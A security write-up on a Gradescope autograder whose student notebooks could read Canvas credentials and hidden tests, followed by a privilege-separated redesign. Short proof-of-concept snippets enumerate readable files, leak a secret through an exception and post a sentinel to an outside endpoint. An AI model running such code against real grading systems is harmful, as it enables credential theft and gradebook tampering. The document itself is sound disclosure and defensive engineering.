Privilege separation for a Gradescope autograder

How I found it

When I was appointed a teaching assistant for a large introductory programming course, I inherited part of the infrastructure used to grade hundreds of student notebooks. One component looked ordinary: a Gradescope autograder evaluated a submission, produced a score, and synchronized that score to Canvas. My first job was not to attack it. I was trying to understand it well enough to maintain it.

The Canvas step is where the design became interesting. Posting a grade is a privileged API operation, so the trusted grader needed a bearer token authorized to update course submissions. It also used a service-account key for a separate data integration. In the custom-image workflow I was using, there was no secret store mounted exclusively for a post-grading phase. Those credentials therefore existed inside the image Gradescope ran.

FROM gradescope/autograder-base:ubuntu-22.04
COPY <trusted-runtime> <grading-root>
COPY <credential-bundle> <private-root>
# The inherited mistake: one readable tree for the whole job.
RUN chmod -R 755 <grading-root>
CMD ["<trusted-entrypoint>"]

Baking a secret into an image is already a deployment smell, because anyone who can pull the image can inspect its layers. But even granting a private image and a tightly controlled registry, a second question remained. What identity was executing the student notebook inside the running container, and what could that identity read?

That question turned a maintenance task into a security review. The image was not merely a bundle of tests. It was a credential-bearing production environment that deliberately executed code supplied by an adversarial user. The grader was trusted and the submission was not, and putting both in one container did not make them part of one trust domain. It only hid the missing boundary.

Disclosure note: every snippet below is a reduced reproduction. Internal module and function names, Unix account names, repository paths, exact permission allowlists, timeout values, and integration details have been renamed or omitted. The examples preserve the security properties and failure modes without documenting the production course layout.

The execution model

Gradescope starts a short-lived container for each autograder run and invokes the course’s trusted entrypoint. That code opens the submitted notebook, runs tests, writes the platform’s result document, and, in my extension to the normal flow, uses the Canvas API to publish the score. The container boundary isolates one grading job from the host. It does not automatically isolate student code from the rest of that job.

ephemeral grading container
├── trusted harness             # computes the score
├── private configuration       # Canvas + service credentials
├── protected course material  # tests and reference data
├── submitted notebook         # attacker-controlled Python
└── final result               # consumed by the platform

The runner made the missing boundary visible. Student code was executed by the same privileged workflow that could read the tests, write the final result, and authenticate to Canvas. In Python, importing a student’s module or executing notebook cells in-process is especially dangerous: the submission is not data anymore. It is code running inside the grader’s authority.

trusted process
    ├── load protected tests
    ├── execute every submitted notebook cell  # unsafe
    ├── compute final score
    └── publish score with privileged token

I wrote down the security invariant the system should have had: a submitted notebook may compute an answer, but it must never be able to read publishing credentials, inspect hidden test definitions, modify the trusted runner, or choose the score sent to Canvas. The current execution model violated all four. A container is not a sandbox within itself; host isolation did not provide a trust boundary between two processes sharing the same container permissions.

The proof of concept fit inside a notebook cell

I approached the proof in two steps: discovery, then extraction. First I submitted a notebook that behaved like an ordinary program and enumerated the files its process could read. It did not need a container escape, a kernel exploit, or knowledge of a magic filename. Linux had already answered the authorization question through the file mode bits.

from pathlib import Path
root = Path("/")
readable = []
for path in root.rglob("*"):
    if not path.is_file():
        continue
    try:
        with path.open("rb") as handle:
            handle.read(1)
        readable.append(str(path))
    except (PermissionError, OSError):
        pass
print("\n".join(readable[:25]))

The result contained grader-owned paths that a student process had no reason to access. From there, the exfiltration channel was almost embarrassingly simple. Gradescope returns test output and failures to the submitter. If a notebook can read protected content, it can place that content in an exception and let the normal grading UI carry it back out.

# The public write-up uses an inert marker, not a credential.
proof = Path("/tmp/demo-secret").read_text()
raise RuntimeError(
"privilege boundary failed: " + proof[:32]
)

RuntimeError: privilege boundary failed: DEMO_SECRET_<redacted>

Output was only one channel. The container also permitted outbound connections. A submission could send the same material to a webhook and deliberately crash afterward, making the run look like a broken notebook rather than a successful extraction. The reduced example below sends a fixed sentinel to a test endpoint; replacing that sentinel with readable file contents is exactly the risk the test established.

import os
import requests
audit_endpoint = os.environ["CONTROLLED_AUDIT_ENDPOINT"]
requests.post(
audit_endpoint,
json={"proof": "EGRESS_FROM_STUDENT_PROCESS"},
timeout=3,
)
raise RuntimeError("submission failed")

At this point the vulnerability was proven. Untrusted code could discover grader-owned files, surface protected values through an expected output path, and establish outbound communication. Exploiting Canvas was unnecessary and would have crossed an ethical line; the reachable credential’s documented permissions supplied the impact analysis. No container escape was required. The failure was inside the application boundary, where privileged data and hostile code were already colocated.

• Student-controlled code executed during every grading run.
• Readable files and inherited configuration were discoverable from that process.
• Normal output and error messages could return discovered data to the submitter.
• Outbound requests created a second path for leaking secrets and hidden tests.

Why this is a gradebook integrity failure, not just a grading bug

The first-order impact was predictable: hidden tests and answer material were readable, so a student could learn what the grader expected and tailor a later submission to it. That alone breaks the integrity of an assignment. The Canvas token raised the issue from assessment leakage to authorization failure.

Canvas exposes an endpoint for updating a student’s submission grade. A legitimate publisher uses a request with this shape; authorization comes from the bearer token, not from where the request originated.

PUT /api/v1/courses/{course}/assignments/{assignment}/submissions/{student}
Authorization: Bearer <course-scoped-token>
Content-Type: application/x-www-form-urlencoded
submission[posted_grade]=<score>

A copied token would outlive the short-lived grading container. Until rotation or expiry, it could be replayed from another machine and used with whatever course permissions it carried. The attacker would no longer need Gradescope at all. That persistence is what made printing the token in a single failed run so dangerous.

There were therefore three distinct integrity failures: disclosure of hidden tests, control over the current run’s result, and possession of an external grade-writing capability. Hiding filenames addressed none of them. A secret is a capability, and it is not protected because a student does not know where it is. It is protected only when the student’s operating-system identity cannot read it.

Why Securescope alone was not the fix

Securescope was the obvious prior art. It hardens Gradescope autograders with a deprivileged student user, result-integrity checks, and seccomp rules that can deny network-related system calls. I tested the approach because my proof of concept had used outbound access as one extraction channel.

Applied to my existing process chain, network denial also blocked the trusted HTTPS request that posted a completed score to Canvas. I could preserve a network-capable helper and place a narrow protocol in front of it, but at that point the real work was not choosing a syscall list. It was separating the privileged publisher from the untrusted evaluator.

the policy I actually needed
trusted harness
├── may read protected tests
├── may read publishing credentials
└── may post a validated score
untrusted notebook worker
├── may execute submitted Python
├── may read only its assigned inputs
└── may return only a protocol response

A syscall sandbox also does not rescue a world-readable secret. Credential theft needs only ordinary file operations, the same open and read calls a notebook legitimately uses for assignment data. The control that decides whether those calls reach a token is Unix ownership and mode bits. Securescope’s separate-user idea was directly relevant; treating seccomp as the central fix was not.

Gradescope already supplied a disposable outer container for each run. A nested userspace kernel or container-per-cell design would add platform requirements, startup cost, and maintenance burden for future TAs, while leaving the intra-container permission mistake untouched. I chose primitives the platform already guaranteed: two Unix users, two processes, explicit file permissions, a scrubbed environment, and a narrow pipe between them.

The process boundary: two users, two interpreters, one narrow protocol

The trusted grading harness continues to run with the privileges it needs. It loads protected tests, decides the score, writes the platform result, and talks to Canvas. What changed is that it never executes a notebook cell. Student Python runs in a long-lived child interpreter owned by a dedicated unprivileged account with no supplementary groups. The kernel, rather than an application-level convention, prevents that UID from reading root-owned secrets or interfering with the root process.

child_options = {
    "user": UNPRIVILEGED_UID,
    "group": UNPRIVILEGED_GID,
    "extra_groups": [],
    "stdin": PIPE,
    "stdout": PIPE,
    "stderr": PIPE,
    "text": True,
}
worker = subprocess.Popen(
[PYTHON, PUBLIC_WORKER_ENTRYPOINT],
env=minimal_environment,
**child_options,
)

The two processes communicate through newline-delimited JSON over stdin and stdout. The parent sends an operation and the source for one notebook cell; the worker executes it and returns a serialized observation. A crash, forced exit, recursion-limit change, or native-extension fault kills the worker rather than the grader. The parent sees a closed pipe, records a controlled failure, and remains alive to produce a valid result.

trusted parent                     untrusted worker
      |                                    |
      |  {"op":"execute","source":...}  |
      | ---------------------------------> |
      |                                    | execute notebook cell
      |       {"ok":true,"value":...}    |
      | <--------------------------------- |
      |                                    |
validate observation
compute score
publish score

Separating address spaces matters as much as changing users. If the grader used Python’s exec inside its own interpreter, a notebook could inspect stack frames, replace imported modules, monkeypatch scoring code, alter global state, or terminate the process that owns the grade. A child interpreter turns those language-level attacks into local damage inside a disposable worker.

minimal_environment = {
    "PATH": "/usr/bin:/bin",
    "HOME": UNPRIVILEGED_HOME,
    "PYTHONPATH": PUBLIC_PACKAGE_PATH,
    "MPLCONFIGDIR": "/tmp/plot-config",
}
# Deployment tokens, API keys, database credentials and
# application secrets are deliberately not copied from os.environ.

Environment scrubbing closes the easiest accidental leak. Printing os.environ from a submitted cell now reveals only the interpreter settings the worker needs. File-based credentials require a separate control, because deleting a variable cannot change who may open a file.

• Run every submission as a dedicated, unprivileged user.
• Give the student phase only the files and environment values required to evaluate its work.
• Keep credentials, hidden assets, trusted scripts, and result publication outside that boundary.
• Validate the untrusted phase’s output before trusted code sends a score to Canvas.
• Scope and rotate integration credentials so one leak cannot become permanent authority.

Defense in depth: deny every file, then add back only what execution needs

A separate UID is useful only if file permissions give that UID a different view. At startup, the trusted process takes ownership of the grading tree and removes every permission granted to “other.” The setup then allowlists traversal on package directories, read access to non-sensitive runtime code, the interpreter and libraries, and only the assignment data students legitimately open. Credentials and private integration material are never added back.

# Start closed.
chown -R root:root <grading-root>
chmod -R o-rwx <grading-root>
# Add back only public runtime requirements.
chmod o+x <public package directories>
chmod o+r <public worker modules>
chmod o+r <approved assignment data>
chmod o+rx <Python interpreter and libraries>
# Private configuration receives no student-readable bit.
chmod 0400 <credential files>
chmod 0700 <private integration directories>

Deny-by-default makes the design safer to maintain. If a future TA adds another key file, it begins inaccessible to the student account, and someone must make a conscious change to expose it. An allow-by-default tree has the opposite failure mode: every new file silently joins the attack surface.

Python bytecode created a less obvious path around those permissions. A trusted import can compile a private module into a cached .pyc file. If that cache is readable by the student UID, constants embedded in the original module can survive even when the source file is locked down. The startup path therefore disables bytecode writes and removes access to stale caches before any notebook executes.

export PYTHONDONTWRITEBYTECODE=1
find <trusted-tree> -type d -name **pycache** -exec chmod -R o-rwx {} +

Submitted files use a third permission profile: readable by the worker through a narrow group grant, but not owned or writable by it. That lets the notebook access its legitimate inputs without allowing it to rewrite the submission tree underneath the trusted grader. The platform’s final result remains root-owned and outside the worker’s writable view.

Availability needs two independent controls. The worker has an internal execution timer, so ordinary infinite loops fail cleanly. Separately, the trusted parent waits on the pipe with its own deadline. If submitted code wedges the interpreter inside native code, disables Python-level machinery, or simply stops speaking the protocol, the parent stops waiting, terminates the worker, escalates to a hard kill if necessary, and still writes a valid grading result.

readable, _, _ = select.select(
    [worker.stdout], [], [], EXECUTION_DEADLINE
)
if not readable:
    worker.terminate()
    try:
        worker.wait(timeout=GRACE_PERIOD)
    except subprocess.TimeoutExpired:
        worker.kill()
    return controlled_timeout_result()

Finally, stdout cannot serve two masters. The worker’s stdout is the JSON control channel, while arbitrary print calls belong to the student. Submitted output is redirected into throwaway buffers during execution; only the trusted worker writes protocol messages after control returns. This prevents a notebook from printing a fake success object into the parent-child conversation, and it keeps accidental output from corrupting the stream.

• Dedicated UID with no supplementary groups.
• Separate interpreter and address space.
• Allowlisted environment instead of inherited deployment secrets.
• Closed-by-default filesystem access and protected bytecode caches.
• Independent worker and parent deadlines.
• Captured student output and a machine-readable control protocol.

What it means to call the boundary fixed, and what it does not fix

A sandbox is not validated because normal submissions still pass. It is validated by asking whether the old attack primitives fail while the legitimate privileged operation still succeeds. I exercised the boundary with adversarial notebooks alongside known-good course submissions.

[PASS] known-good notebook receives the same score
[PASS] notebook process has an unprivileged UID and no extra groups
[PASS] root-owned credential files return PermissionError
[PASS] submitted inputs are readable but not writable
[PASS] child environment contains no deployment secrets
[PASS] private source and stale bytecode caches are unreadable
[PASS] student print output cannot forge the JSON protocol
[PASS] forced exits and long-running code kill only the worker
[PASS] trusted parent can still publish the validated score

This design does not make arbitrary code safe in an absolute sense. The student still shares a kernel with the trusted process, so kernel vulnerabilities, resource-exhaustion bugs, and side channels remain relevant. The worker is also not network-isolated. Instead, the security invariant is that its UID and environment contain no protected material worth exfiltrating. A root-only secret baked into a Docker layer is still visible to anyone who can pull that image, so registry access, token scoping, short lifetimes, and rotation remain necessary defenses.

What the redesign does is remove the direct path that caused the incident. The notebook no longer executes with the identity that owns the secret, the tests, the result, or the network publisher. Compromising the child no longer automatically compromises the gradebook.

The lesson I carried forward is simple. Whenever a system evaluates user code and then performs a privileged action, evaluation and authorization must be separate phases. Do not import the adversary into the process that holds the key. Give the untrusted phase a narrow protocol, distrust everything it returns, and keep the final side effect on the other side of an operating-system boundary.